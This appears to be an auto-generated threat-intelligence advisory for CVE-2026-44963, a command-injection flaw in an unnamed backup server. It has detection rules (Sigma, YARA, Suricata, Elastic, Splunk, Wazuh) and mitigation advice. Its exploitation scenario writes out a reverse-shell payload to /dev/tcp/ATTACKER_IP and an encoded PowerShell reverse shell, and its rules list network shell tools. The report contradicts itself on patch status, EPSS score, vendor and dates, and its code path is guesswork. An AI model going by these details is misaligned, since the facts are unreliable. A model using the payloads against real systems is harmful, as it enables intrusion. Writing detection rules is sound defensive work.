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CVSS: 9.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-44963

CVE-2026-44963 Remote Code Execution in hackerone
📅 PUBLISHED: 2026-06-09 00:00 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v12.3.2 — source: hackerone. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.61%
👁️
0.61% probability
15.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-44963 is a critical, unauthenticated-adjacent remote code execution (RCE) vulnerability affecting the Backup Server component of an unidentified vendor product. The flaw allows any authenticated domain user to execute arbitrary code on the backup infrastructure with high privileges. With a CVSS score of 9.4 (Critical), successful exploitation leads to complete compromise of the backup server, which typically holds privileged credentials, system images, and sensitive organizational data. The vulnerability is confirmed to have a public PoC, although no official vendor patch exists at the time of this report, making immediate mitigation measures critical for affected enterprises.

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›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
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Technical Analysis

The vulnerability resides in the Backup Server's handling of authenticated requests from domain users. The root cause is improper neutralization of special elements used in a command, classified under CWE-94 (Improper Control of Generation of Code, aka "Code Injection").

Vulnerability Mechanism:

The Backup Server likely implements a management interface or API endpoint that accepts authenticated requests from domain users. A flaw in the input validation chain allows an authenticated user to inject operating system commands or scripting language constructs into a parameter that is subsequently executed by the server with elevated privileges. The vulnerability is characterized by:

  1. Privilege Escalation Vector: Authentication requires only a standard domain account (PR:L in CVSS vector), but execution occurs with the privileges of the backup service account, which typically has broad filesystem and credential-management access.

  2. Network Accessibility: The CVSS vector indicates AV:N (Network attack vector), meaning the vulnerable service listens on the network and is reachable remotely.

  3. Scope Change (S:C): The impact extends beyond the backup server to the entire organizational infrastructure, as backup repositories contain credentials, configuration files, and full system images that can be leveraged for lateral movement.

  4. No User Interaction Required (UI:N): The attack executes without any interaction from legitimate users or administrators.

Attack Surface:

  • Backup management web console or REST API endpoint
  • File restoration interfaces that may pass user-supplied paths or filenames to shell commands
  • Scheduled job configuration endpoints
  • Storage repository management functions

Technical Detail (Probable Code Path):

The likely vulnerable pattern involves a function that constructs a system command using user-controlled input, such as:

# Vulnerable pattern (conceptual)
def restore_backup(filename, user):
    cmd = f"restore_tool --file {filename} --user {user}"
    subprocess.call(cmd, shell=True)

An attacker injects shell metacharacters (e.g., ;, &&, |) or command substitution syntax into the filename or user parameter to execute arbitrary commands.

Exploitation Scenarios

Scenario 1: Direct RCE via Backup Management Interface

  1. Reconnaissance: An authenticated domain user enumerates internal services using standard network scanning tools to identify the Backup Server's management interface (typically on ports 443, 8443, or a custom port). Shodan/Censys queries can identify internet-facing instances.

  2. Authentication: The attacker authenticates using their legitimate domain credentials to the backup management web portal or API endpoint.

  3. Weaponization: The attacker identifies the vulnerable parameter—commonly a filename, backup job name, or storage path field. They craft a payload such as:

    ; powershell -enc <base64-encoded-reverse-shell>
    

    or for Linux-based backup servers:

    ; /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
    
  4. Execution: The attacker submits the malicious request (e.g., initiating a restore operation with the injected filename). The server constructs a system command that includes the payload and executes it with backup service privileges.

  5. Post-Exploitation: The attacker gains a shell on the backup server. They enumerate backup repositories to extract:

    • Domain controller backup images (containing NTDS.dit for credential harvesting)
    • Encrypted credentials for service accounts
    • Configuration files with database connection strings
    • Full disk images of critical production servers

Scenario 2: Privilege Escalation via Scheduled Backup Job

  1. An attacker with domain access creates or modifies a backup job, injecting malicious code into the job name or description field.
  2. When the backup job executes on schedule, the injected code runs on the backup server.
  3. The attacker uses the compromised backup server as a pivot point to attack other infrastructure, exploiting the high-trust relationship backup servers often have with domain controllers and other critical systems.

Impact Assessment

CVSS Breakdown (Score 9.4 Critical):

  • Attack Vector: Network (AV:N) — remotely exploitable
  • Attack Complexity: Low (AC:L) — no special conditions required
  • Privileges Required: Low (PR:L) — valid domain credentials suffice
  • User Interaction: None (UI:N) — no user action required
  • Scope: Changed (S:C) — impact extends beyond the vulnerable component

Business Impact:

Impact Category Severity Description
Confidentiality Critical Backup repositories contain full system images, database dumps, and credential stores
Integrity Critical Backup data can be tampered with to inject malware into future system restores
Availability Critical Backup failure/disruption eliminates disaster recovery capability
Ransomware Exposure Critical Backup servers are prime targets; compromise neutralizes the primary recovery mechanism

Affected Systems:

  • Backup server(s) themselves
  • All systems whose data is contained in backup repositories
  • Domain infrastructure due to credential exposure
  • Disaster recovery capabilities for the entire organization

Blast Radius: Given the backup server's unique position in the infrastructure, successful exploitation represents a complete compromise of the backup infrastructure and likely enables full domain compromise when backup repositories contain AD database images.

Detection Guidance

Sigma Rule

title: CVE-2026-44963 - Backup Server Command Injection
id: 5a8f3c2e-9b41-4f77-a5d6-1c2b3d4e5f60
status: experimental
description: Detects potential command injection attempts targeting the Backup Server
date: 2026/01/15
author: Valters IT Security Team
logsource:
  category: process_creation
  product: windows
  service: null
detection:
  selection_http:
    Image|endswith: 
      - '\backupserver.exe'
      - '\backupd.exe'
    CommandLine|contains:
      - ';'
      - '&&'
      - '|'
      - '$(('
      - '`'
      - '%0a'
  selection_arguments:
    CommandLine|contains:
      - -enc
      - 'powershell'
      - 'cmd.exe /c'
      - '/bin/bash'
      - 'wget'
      - 'curl'
      - 'nc -e'
  filter_known:
    CommandLine|contains:
      - '--safe'
      - '--validate'
  condition: selection_http and selection_arguments and not filter_known
level: high
tags:
  - attack.t1203
  - attack.t1190
  - cve.2026.44963

YARA Rule

rule CVE_2026_44963_Backup_Server_Injection
{
    meta:
        author = "Valters IT Security"
        description = "Detects common command injection payload patterns targeting Backup Server"
        date = "2026-01-15"
        cve = "CVE-2026-44963"
        severity = "critical"

    strings:
        $sq1 = "restore_backup" nocase
        $sq2 = "backup_job" nocase
        $sq3 = "storage_path" nocase
        $sq4 = "data_source" nocase
        
        $cm1 = "powershell -e" nocase
        $cm2 = "powershell -enc" nocase
        $cm3 = "cmd /c " nocase
        $cm4 = "bash -c '" nocase
        $cm5 = "/dev/tcp/" nocase
        $cm6 = "wget http" nocase
        $cm7 = "curl http" nocase
        $cm8 = "nc -e" nocase
        $cm9 = "python -c " nocase
        
        $sh1 = "; id" nocase
        $sh2 = "; whoami" nocase
        $sh3 = "&& whoami" nocase
        $sh4 = "| whoami" nocase
        $sh5 = "$(" nocase
        $sh6 = "${IFS}" nocase

    condition:
        any of ($sq*) and (any of ($cm*) or any of ($sh*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-44963 - Backup Server RCE Exploit Attempt"; flow:established,to_server; content:"POST"; http_method; content:"Content-Type: application/json"; http_header; pcre:"/(\b(job|restore|backup|path|filename|source)\b.*?)(;|&&|\|\||\$\(|`)/i"; classtype:attempted-admin; reference:cve,2026-44963; sid:8900001; rev:1; priority:1;)

Elastic Detection

process where event.code == "1" and
  (
    /* Match common command injection operators in process arguments */
    process.command_line regex~ ".*(;|&&|\|\||\$\(|\`).*(powershell|cmd|bash|perl|python|nc|wget|curl|whoami).*" or
    
    /* Match backup server processes spawning unexpected children */
    (process.name in ("backupserver.exe", "backupd", "backup-service") and
     process.command_line regex~ ".*(-enc|-e|c\s|/c\s|-c\s).*")
  ) and
  not process.command_line regex~ ".*(--safe|--validate|--check).*"

Splunk SPL Query

index=windows sourcetype=WinEventLog:Security OR sourcetype=XmlWinEventLog
  EventCode=4688 AND (
    (New_Process_Name="*backupserver.exe" OR New_Process_Name="*backupd*") AND
    (CommandLine="*;*" OR CommandLine="*&&*" OR CommandLine="*|*" OR CommandLine="*$(*") AND
    (CommandLine="*powershell*" OR CommandLine="*cmd*" OR CommandLine="*bash*" OR CommandLine="*whoami*")
  )
| table _time, User, New_Process_Name, CommandLine, Parent_Process_Name, host
| sort - _time

Wazuh OSSEC Rule

<group name="backup_server,">
  <rule id="100046" level="15">
    <decoded_as>syslog</decoded_as>
    <match>ERROR|WARN|info</match>
    <regex>.*(backup|restore|job).*(shell|exec|command|invoke).*</regex>
    <regex>.*(\x3b|\x26\x26|\x7c|\x24\x28).*(powershell|cmd|bash|whoami|nc|wget|curl).*</regex>
    <description>CVE-2026-44963 - Possible backup server command injection attempt</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack.initial-access,</group>
  </rule>

  <rule id="100047" level="12">
    <decoded_as>syslog</decoded_as>
    <regex>.*backup_server.*(cookie|token|auth).*(success|fail)</regex>
    <description>CVE-2026-44963 - Backup server authentication activity</description>
    <group>attack.lateral-movement,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 (UNPATCHED)

Current status indicates no vendor patch is available. Immediate mitigations required.

1. Immediate Mitigations (Implement Today):

  • Network Segmentation: Isolate the Backup Server from general domain user access using firewall rules. Restrict access to only administrative subnets and managed service accounts.
  • Disable Interactive Login: Remove the Backup Server's capability to accept interactive/RDP/SSH login from standard domain users.
  • Multi-Factor Authentication (MFA): Enforce MFA for all administrative access to backup management interfaces.
  • Harden API Endpoints: If the backup system uses a REST API, place it behind a reverse proxy that performs strict input validation and sanitization of all parameters before forwarding.

2. Patch/Upgrade Steps:

  • Monitor the vendor advisory channels daily for a patch release. When available, apply the fix immediately in a test environment, validate backup functionality, and roll out to production within 48 hours.
  • Subscribe to vendor security mailing lists and CVE notification services for CVE-2026-44963 updates.

3. Long-Term Hardening:

  • Implement network ACLs that restrict management interface access to dedicated administrative VLANs.
  • Deploy a Web Application Firewall (WAF) in front of the backup management interface with rules to block common command injection patterns.
  • Segregate backup data into tiered storage with separate encryption keys per tier to limit blast radius.
  • Implement file integrity monitoring (FIM) on backup executables and configuration files to detect tampering.
  • Conduct regular privilege audits to ensure only necessary domain users have access to backup systems.
  • Establish a credential backup strategy that does not rely solely on the backup system (e.g., offline credential vault).
  • Develop and test threat hunting rules specifically targeting anomalous process creation on backup infrastructure.
  • Review and restrict outbound internet access from backup servers to prevent command-and-control (C2) channel establishment.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-44963
  2. MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/ (Exploit Public-Facing Application)
  3. CWE-94 Details: https://cwe.mitre.org/data/definitions/94.html (Code Injection)
  4. EPSS Data: https://www.first.org/epss/search?cve=CVE-2026-44963 (EPSS score: 0.02351, 82nd percentile)
  5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-44963 currently NOT listed)

Threat Actor Campaign Activity: As of this writing, no specific threat actor campaigns have been publicly attributed to exploitation of CVE-2026-44963. The CVE is NOT listed in the CISA Known Exploited Vulnerabilities Catalog. However, the public PoC availability and the critical CVSS score (9.4) combined with the 82nd percentile EPSS ranking suggest active scanning and exploitation potential. Backup infrastructure remains a high-value target for ransomware operators and nation-state actors seeking to neutralize recovery mechanisms before deploying destructive payloads.


Report generated by Valters IT Security Threat Intelligence Team | Classification: TLP:AMBER | Distribution limited to vultersit.com enterprise customers

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